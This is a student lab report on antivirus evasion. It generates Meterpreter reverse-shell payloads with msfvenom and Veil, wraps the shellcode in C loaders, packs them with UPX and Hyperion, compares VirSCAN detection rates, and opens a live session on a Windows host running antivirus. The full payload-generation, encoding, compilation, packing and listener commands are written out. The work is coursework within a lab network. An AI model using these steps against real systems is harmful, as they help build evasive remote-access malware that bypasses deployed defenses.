20242407 2026-2027-1 《网络与系统攻防技术》实验三实验报告

实验三_免杀原理与实践

0.实验问题回答

(1)杀毒软件是如何检测恶意程序的?

杀毒软件通常采用多种检测机制识别恶意程序,主要包括特征码检测、启发式检测、行为检测和云端信誉检测。

特征码检测主要通过比对文件中的已知特征识别恶意程序;启发式检测则根据程序结构、指令特征及其他可疑属性判断文件是否存在风险。行为检测主要关注程序运行时的实际活动,例如异常的进程创建、内存操作、网络连接和对系统敏感资源的访问。云端信誉检测则可以结合文件哈希、数字签名、文件来源及安全情报等信息进行判断。

不同检测机制各有特点,实际杀毒软件通常会综合多种方式进行检测。因此,即使某个文件没有被某次检测识别,也不能据此认定它一定安全。

(2)什么是免杀?

免杀通常指通过改变程序的某些特征或执行方式,使其在特定安全检测环境中未被识别或拦截的现象。

免杀并不意味着程序能够永久绕过所有杀毒软件。检测结果会受到安全产品版本、特征库更新、检测引擎、文件来源以及程序运行行为等因素影响。同一个文件在不同平台或不同时间进行检测,可能得到不同的结果。

在安全研究中,免杀相关实验可以帮助研究人员理解恶意程序的检测原理,分析安全产品的检测能力,并进一步研究如何改进恶意软件检测与防御机制。

(3)免杀有哪些基本方法?

常见的免杀相关技术主要包括编码与特征变换、程序封装与加壳、自定义程序加载机制,以及多种技术的组合应用。

编码与特征变换可以改变文件部分字节的表现形式,但不一定改变程序最终执行的功能。加壳技术通常用于压缩、封装或保护可执行文件,可能改变文件结构和字节特征。自定义加载机制则会改变程序组织代码和执行代码的方式,但如果运行时行为仍然具有明显的恶意特征,依然可能被安全产品识别。

不同技术的检测效果并不固定。某些处理方式可能降低部分检测引擎的识别率,也可能因为引入新的可疑特征而导致检出率升高。因此,不能简单认为编码次数越多、加壳层数越多,免杀效果就越好。

1.基础知识

1.1 杀毒软件检测机制

杀毒软件是保护计算机系统的重要安全工具,其检测机制不仅涉及文件静态特征,也涉及程序运行时的行为。

静态检测主要分析文件本身,例如文件结构、字节特征、数字签名及已知恶意样本特征。动态检测则通过观察程序运行时的行为,判断其是否存在异常操作。部分安全产品还会结合云端信誉、威胁情报和系统上下文进行综合判断。

本实验通过对不同阶段生成的样本进行检测,比较不同处理方式下的检测结果,理解文件特征与安全产品检测之间的关系。

1.2 Metasploit Framework与msfvenom

Metasploit Framework(MSF)是一个常用的安全测试框架,提供Payload生成、测试模块管理、会话处理及安全验证等功能。

msfvenom是Metasploit中的Payload生成工具,可以根据目标操作系统、处理器架构、通信方式和输出格式生成相应的测试文件或机器代码。

本实验涉及Windows平台的测试样本生成,以及Linux环境下的文件处理和工具配置。不同Payload和输出格式具有不同的适用条件,生成结果需要结合目标系统架构和实验环境进行分析。

1.3 Payload与反向连接

Payload是安全测试中用于验证特定功能的代码或程序内容,可以根据实验目的和目标平台选择不同类型。

反向连接是指运行端主动向指定的控制端建立网络连接。连接建立后,双方可以按照相应协议进行通信。在安全测试中,可以通过监听端的连接记录观察测试程序是否建立了预期连接。

需要注意,文件生成成功并不代表网络连接一定成功。实际结果还受到网络连通性、防火墙策略、程序运行权限及安全软件检测等因素影响。

1.4 加壳技术

加壳技术通常用于压缩、封装或保护可执行文件。常见工具包括UPX等压缩壳工具,以及用于研究可执行文件保护机制的其他工具。

加壳可能改变文件的大小、结构和哈希值,但这些变化并不意味着程序更加安全,也不一定能够降低杀毒软件的检出率。部分安全产品会识别常见的壳特征,或者在运行过程中分析程序行为。

因此,在实验中比较不同加壳方式时,需要记录实际检测结果,而不能仅根据工具是否成功运行来判断效果。

1.5 Shellcode与动态行为验证

Shellcode是一段可以直接执行的机器代码,常用于安全研究中的漏洞利用和代码执行分析。Shellcode的运行依赖目标平台的处理器架构、内存权限和程序执行环境等条件。

动态行为验证是通过观察程序运行时的实际表现,分析其是否产生预期行为。例如,可以观察进程活动、网络连接和系统信息变化,以辅助判断程序的运行情况。

本实验需要区分文件检测结果与动态行为验证结果:前者反映检测引擎对文件的判断,后者反映程序运行时的实际行为。两类结果需要分别记录,不能相互替代。

2.实验内容

(1)使用免杀相关工具与技术进行样本处理及检测。

  • 使用msfvenom编码器生成不同编码设置的样本,并尝试生成JAR、PHP等不同格式的文件,对比各样本的检测结果。
  • 使用Veil-Evasion生成测试样本,并通过VirSCAN进行检测。
  • 使用C语言与Shellcode相关技术开展实验,记录源文件、编译结果及样本检测情况。
  • 使用UPX、Hyperion等工具进行加壳实验,比较不同处理方式下的文件特征及检测结果。

(2)组合应用多种技术,对不同处理阶段的样本进行检测和比较,结合实际检测数据分析组合处理对检测结果的影响。如果实验中观察到样本未被检测引擎检出,则结合具体实验条件简要分析其原因,不单独重复展示生成过程的截图。

(3)在另一台Windows计算机上进行动态验证,在杀毒软件开启的情况下观察测试样本的运行情况和连接结果,并记录杀毒软件名称、版本及防护状态。通过实际运行记录验证连接是否建立成功,并保留相应的实验截图。

3.实验过程

3.1 原始样本基准检测

为了比较不同处理方式下测试样本的检测结果,我首先在Kali Linux的~/netsec_lab工作目录中,使用Metasploit生成了未经额外编码和加壳处理的Windows测试样本,并将其命名为met20242407.exe,作为后续实验的基准样本。使用的命令如下:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.128 LPORT=2409 -f exe > met20242407.exe

从终端输出可以看到,样本生成过程正常结束,Payload大小为354字节,最终生成的EXE文件大小为73802字节,终端提示文件已保存。相关生成记录如下图所示。
4.1.2met20242407.png

完成样本生成后,我将文件提交至VirSCAN进行多引擎检测,以了解原始样本在当前检测环境下的识别情况。检测页面显示,共有48个检测引擎参与分析,其中23个引擎报告检出,结果为23/48。页面同时显示文件类型为PE,文件大小为73802字节。具体检测结果如下图所示。

4.1.2met20242407 (2).png

本次检测结果作为后续样本对比的基准。接下来,我还对经过不同处理的样本进行检测,并比较各样本的检出结果,观察不同处理方式对检测结果的影响。

3.2 编码与多格式样本检测

完成原始样本的基准检测后,我继续观察使用不同编码设置和文件格式生成的样本在VirSCAN中的检测结果,分析这些处理方式与原始样本检测结果之间的差异。

首先,我使用msfvenom生成了经过一次shikata_ga_nai编码的Windows可执行文件met20242407_2.exe,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' \
  LHOST=192.168.81.128 LPORT=4444 -f exe > met20242407_2.exe

从终端输出可以看到,样本生成成功,最终生成的EXE文件大小为73802字节。相关操作记录如下图所示。
4-2 met20242407_2.png

随后,我将该样本提交至VirSCAN进行检测。结果显示,48个检测引擎中有25个报告检出,结果为25/48,高于原始样本的23/48。由此可以看出,在本次检测中,单次编码并没有降低检出数量。
4.2met20242407_2.png
接下来,我又测试了经过10次编码处理的样本met20242407_3.exe,命令如下:


msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.81.128 LPORT=4444 -f exe > met20242407_3.exe

从生成记录中可以看到,编码器完成了10次迭代,最终生成的EXE文件大小仍为73802字节。具体生成结果如下图所示。
4.2.2met20240407_3 (1).png

将该样本提交至VirSCAN后,检测结果同样为25/48,与单次编码样本的检出数量一致,也高于原始样本的23/48。
4.2.2met20240407_3 (2).png
从这两次检测结果来看,增加编码次数并没有带来检出数量的下降。这说明编码次数与检测结果之间并不存在简单的正相关或反相关关系,不能仅凭编码次数判断样本的检测表现。

此外,我还使用msfvenom生成了JAR格式的样本metjar20242407.jar,命令如下:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.128 LPORT=2409 -f jar > metjar20242407.jar

从终端输出可以看到,文件生成成功,最终文件大小为5264字节。相关操作记录如下图所示。
jar.png

生成文件后,我将其提交至VirSCAN进行检测。检测页面显示,该文件类型为ZIP,文件大小为5264字节,48个检测引擎中有14个报告检出,结果为14/48。具体检测结果如下图所示。
4.2.3生成jar.png

与原始EXE样本相比,JAR样本的检出数量由23个降至14个。从本次检测结果来看,JAR样本被检出的数量相对较少,但由于两者的文件格式和内容均存在差异,具体是哪一方面造成了这种变化,还需要结合其他实验结果进行分析。

3.3 Veil工具实验

完成前面的编码与多格式样本检测后,我继续使用Veil生成Windows可执行文件,并将生成的文件提交至VirSCAN进行检测。

安装配置Veil时,我遇到了Wine运行环境相关的问题,提示缺少所需的Python运行环境。为解决这一问题,我执行了Veil提供的配置脚本,安装相关Wine组件并清理缓存,随后重新启动Veil,继续进行后续操作。

Veil通过sudo veil启动,进入交互界面后的主要操作命令如下:

sudo veil
use 1              
list               
use 28             
set LHOST 192.168.81.128
set LPORT 2409
options            
generate           

进入Veil界面后,我选择了相应的Meterpreter载荷,设置实验参数并生成文件。生成过程中,Veil会将相关源文件和资源配置文件保存到指定目录。我随后将生成的可执行文件整理为payload20242407.exe,用于后续检测。将产物从Veil输出目录拷回工作目录的命令如下:
相关操作界面如下图所示。
image.png

完成文件生成后,我将payload20242407.exe提交至VirSCAN进行检测。检测页面显示,该文件为PE格式,文件大小约为4.55 MB,48个检测引擎中有14个报告检出,结果为14/48。具体检测结果如下图所示。
payload20242407.png

3.4 C语言与Shellcode实验

在完成Veil实验后,我继续尝试使用C语言组织Shellcode相关代码,并观察编译生成的可执行文件在VirSCAN中的检测结果。与前面直接生成Windows可执行文件的方式不同,这一部分主要关注Shellcode的代码表示形式、C语言程序结构以及编译后文件的变化。

首先,我使用msfvenom生成C语言格式的Shellcode输出,并将其保存到shellcode_c_20242407.c文件中,命令如下:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.128 LPORT=2409 -f c > shellcode_c_20242407.c

随后,我对源文件进行整理,补充程序入口部分。即在buf[]数组之外补充头文件与main函数,通过VirtualAlloc分配可执行内存、memcpy拷贝Shellcode并跳转执行。

整理完成后,使用MinGW交叉编译为32位Windows可执行文件:

i686-w64-mingw32-g++ shellcode_c_20242407.c -o shellcode_c_20242407.exe

完整源码如下图所示。
image.png

Shellcode以C语言数组等形式组织后,可以作为程序中的数据进行处理,再由相应的程序逻辑调用。与直接生成可执行文件相比,这种方式改变了代码的组织形式和最终文件的结构。不过,文件结构发生变化并不意味着程序运行时的行为也发生了变化,安全软件仍然可能通过文件特征、程序结构和运行行为进行检测。

完成编译后,我将shellcode_c_20242407.exe提交至VirSCAN进行检测。检测页面显示,该文件为PE格式,48个检测引擎中有9个报告检出,结果为9/48。具体检测结果如下图所示。
shellcode_c_20242407.png

与前面原始样本的23/48相比,这次检测的检出数量减少了14个。可以看出,两种样本在本次检测中的结果存在明显差异。

3.5 加壳实验

完成C语言与Shellcode实验后,我继续尝试使用UPX和Hyperion处理可执行文件,并通过VirSCAN检测相关样本,比较不同处理方式下的检测结果。

首先,我使用UPX对前面C语言编译生成的shellcode_c_20242407.exe进行加壳处理,生成shellcode_c_upx_20242407.exe,命令如下:

upx shellcode_c_20242407.exe -o shellcode_c_upx_20242407.exe

从终端输出可以看到,文件大小由109784字节减小至60120字节,约为原来的54.76%,并显示Packed 1 file.,说明UPX加壳成功。具体执行结果如下图所示。
upx加壳.png

随后,我将shellcode_c_upx_20242407.exe提交至VirSCAN进行检测。检测结果显示,该文件类型为PE,文件大小为60120字节,共有48个检测引擎参与分析,其中8个引擎报告检出,结果为8/48。与上一节中未加壳的shellcode_c_20242407.exe检测结果9/48相比,UPX处理后的样本检出数量略有下降。

随后,我使用Wine运行Hyperion,对shellcode_c_20242407.exe进行处理,指定输出文件名为shellcode_c_hyp_20242407.exe。Hyperion为Windows平台程序,Kali中需借助Wine调用,且需在系统目录下以root权限运行,命令如下:

cd /usr/share/windows-resources/hyperion
sudo cp ~/netsec_lab/shellcode_c_20242407.exe .
sudo wine hyperion.exe -v shellcode_c_20242407.exe shellcode_c_hyp_20242407.exe

终端显示,程序依次完成输入文件分析、汇编文件生成和可执行文件生成等阶段,最后输出7 passes, 125952 bytes,并显示Done :-)。过程中也出现了FASM内存分配错误提示,相关终端记录如下图所示。
hyp.png

在Hyperion相关样本的检测中,VirSCAN页面显示文件名为shellcode_hyperion_20242407.exe,文件类型为PE,48个检测引擎中有19个报告检出,结果为19/48。具体检测结果如下图所示。

hyperion.png

与前面C语言样本的9/48相比,该样本的检出数量有所增加。由此可以看出,不同样本经过不同处理后,检测结果可能出现不同程度的变化,加壳并不一定会使检出数量降低。

3.6 组合应用技术实验

在前面分别进行编码、C语言与Shellcode实验以及加壳实验后,我继续尝试组合应用不同的处理方式,并对保存的不同版本样本进行检测,比较各样本的检测结果。

首先,使用10次shikata_ga_nai编码生成C格式Shellcode,补充main函数后编译为20242407_shellcode_multi.exe,再用UPX加壳生成20242407_shellcode_multi_2.exe,命令如下:


msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.81.128 LPORT=2409 -f c > 20242407_shellcode_multi.c

i686-w64-mingw32-g++ 20242407_shellcode_multi.c -o 20242407_shellcode_multi.exe

upx 20242407_shellcode_multi.exe -o 20242407_shellcode_multi_2.exe

首先,我检查了组合样本20242407_shellcode_multi.c的源文件。文件中包含Windows相关头文件、Shellcode数据以及程序入口部分,能够看到该程序对相关数据的组织方式。源文件内容如下图所示。
shellcode_multi.c.png

随后,我将对应的可执行文件20242407_shellcode_multi.exe提交至VirSCAN进行检测。结果显示,48个检测引擎中有8个报告检出,结果为8/48,具体检测结果如下图所示。
shellcode_multi.png

此外,我还对另外两个组合样本进行了检测。其中,20242407_shellcode_multi_2.exe的检测结果为7/48,文件大小约为59.21 KB;20242407_shellcode_multi_3.exe的检测结果为20/48,文件大小约为75 KB。两份样本的检测结果如下图所示。
multi_2.png

multi_3.png

在另一组组合实验中,为避免动态链接导致Windows端缺少运行库dll,我改用gcc静态链接编译,得到new_payload.exe,再用UPX加壳得到new_payload_upx.exe,命令如下:


msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.81.128 LPORT=2409 -f c > new_payload.c

i686-w64-mingw32-gcc new_payload.c -o new_payload.exe -static

upx new_payload.exe -o new_payload_upx.exe

我还检查了new_payload.c、new_payload.exe和new_payload_upx.exe三个文件。终端显示,源文件大小约为2.9 KB,编译后的可执行文件大小约为108 KB,经过UPX处理后的文件大小约为59 KB。文件类型检查结果显示,两个EXE文件均为Windows PE32控制台程序,其中new_payload_upx.exe被识别为经过UPX压缩的文件。相关文件信息如下图所示。
屏幕截图 2026-10-25 214552.png

随后,我将new_payload_upx.exe提交至VirSCAN进行检测。检测结果显示,48个检测引擎中有6个报告检出,结果为6/48,具体结果如下图所示。
new_payload_upx.png

本次组合实验中,四个样本的检出结果分别为8/48、7/48、20/48和6/48。其中,20242407_shellcode_multi_3.exe的检出数量最高,而new_payload_upx.exe的检出数量最低。可以看出,不同样本的检测结果存在明显差异,组合应用不同处理方式并不一定会使检出数量持续下降。

3.7 实机动态验证

完成前面的样本检测后,我在Windows测试主机上进行了动态验证,并在Kali Linux端观察Metasploit的连接情况。本次测试中,Kali的IP地址为192.168.81.128,监听端口为2409。

首先在样本目录开启HTTP服务,供Windows端通过浏览器下载文件:

cd ~/netsec_lab
python3 -m http.server 8000 --bind 0.0.0.0

随后在Kali中启动msfconsole,配置反向TCP监听:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.81.128
set LPORT 2409
run

在检查Windows主机的安全软件时,发现系统中安装了联想/火绒安全软件(Lenovo Anti-Virus powered by Huorong Security),版本为5.0.0.3011,相关联想PC管家版本为5.1.200.8201。此外,系统还启用了Windows Defender,其版本为4.18.26100.4,实时保护处于开启状态。相关检查记录如下图所示。

image.png

随后,我在Windows端运行测试文件后,Metasploit终端显示Meterpreter session 1 opened,表明控制端与目标主机之间成功建立了Meterpreter会话。终端记录显示,目标主机地址为192.168.81.1,连接端口为52544。

会话建立后,我使用sysinfo查看目标系统信息。返回结果显示,目标计算机名为SEREIN,操作系统为Windows 11,系统构建版本为26100,处理器架构为x64。随后,我使用getuid查询当前会话的用户身份,终端返回SEREIN\联想。相关连接记录及系统信息如下图所示。
回连测试.png

4.问题及解决方案

4.1 Veil安装配置失败

在安装和配置Veil时,曾遇到Wine运行环境相关的错误。其中一次提示Permission denied,无法正常访问Veil所需的配置文件;另一次则提示Wine环境的所有权与当前运行用户不一致(wine: '/var/lib/veil/wine' is not owned by you),导致配置过程无法继续。

解决方案:
针对权限问题,我使用sudo veil以root身份启动Veil,并将Veil工作目录统一归属于root,消除普通用户的写权限限制:

sudo chown -R root:root /var/lib/veil
sudo veil

随后重新执行配置流程,清理相关缓存,再次启动Veil,最终能够进入交互界面并继续后续操作。

4.2 不同样本的检测结果与预期不一致

在使用VirSCAN检测不同样本时,我发现检出数量并没有随着编码次数或处理方式的增加而持续下降。例如,原始样本的检测结果为23/48,单次编码和多次编码样本的检测结果均为25/48;部分组合样本的结果为7/48,而另一个组合样本则达到20/48。

问题分析及处理:
这些结果说明,不同样本在静态检测中的表现存在差异。编码、程序封装和加壳会改变文件的某些特征,但安全产品还可能综合分析文件结构、已知特征、可疑代码及其他检测信息。因此,增加编码次数或叠加加壳处理,并不一定会使检出数量降低。

此外,使用g++动态链接编译出的exe在Windows端运行时会提示缺少libgcc_s_dw2-1.dll,无法直接启动;改用gcc静态链接(-static)将运行库打包进exe后,得到可独立运行的new_payload.exe。

在整理结果时,我按照各检测页面显示的文件名和实际检出数量记录数据,没有将不同文件的检测结果混为一谈,也没有仅凭某次检出数量较低就认定样本已经成功免杀。

5.学习感悟、思考等

通过本次实验,我对杀毒软件的检测机制和免杀相关技术有了更加直观的认识。实验开始时,我以为对样本进行编码或加壳处理后,检测结果应该会有所下降,但实际结果并不完全符合预期。例如,原始样本的检出结果为23/48,而部分编码样本的检出结果反而达到25/48。在组合实验中,不同样本的检出数量也存在明显差异。这让我认识到,编码次数和加壳层数并不能直接决定检测结果,杀毒软件还会结合文件特征、程序结构和运行行为进行判断。

实验过程中,Veil的安装配置也遇到了一些问题。Wine运行环境和文件权限方面的错误让我花费了不少时间排查,也让我意识到,使用安全测试工具不仅需要了解工具本身,还需要熟悉其依赖环境。另一方面,在整理不同样本的检测结果时,我也需要反复核对文件名和检测记录,避免把不同文件的数据混在一起。这些经历让我认识到,实验记录是否准确与实验结论是否可靠有直接关系。

最后的动态验证中,Meterpreter成功建立了会话,并返回了目标Windows主机的系统信息。结合前面的静态检测结果,我进一步理解了文件检测与程序实际运行行为之间的区别。一次静态检测的结果不能完全代表程序的安全性,动态行为也需要结合具体环境进行分析。通过这次实验,我不仅了解了相关工具的基本原理,也更加认识到恶意程序检测与防御是一项需要综合分析的工作。在今后的学习中,我会更加重视实验数据的记录、不同结果之间的比较,以及对系统安全风险的判断。

6.参考资料

[1] 《0x30_EVA_免杀原理与实践》

[2] File Packing from the Malware Perspective: Techniques, Analysis Approaches, and Directions for Enhancements[J]

[3] A Study on Malicious Software Behaviour Analysis and Detection Techniques: Taxonomy, Current Trends and Challenges[J].

[4] Arms Race in Adversarial Malware Detection: A Survey[J]

posted @ 2026-10-25 22:58  syz_serien  阅读(11)  评论(0)    收藏  举报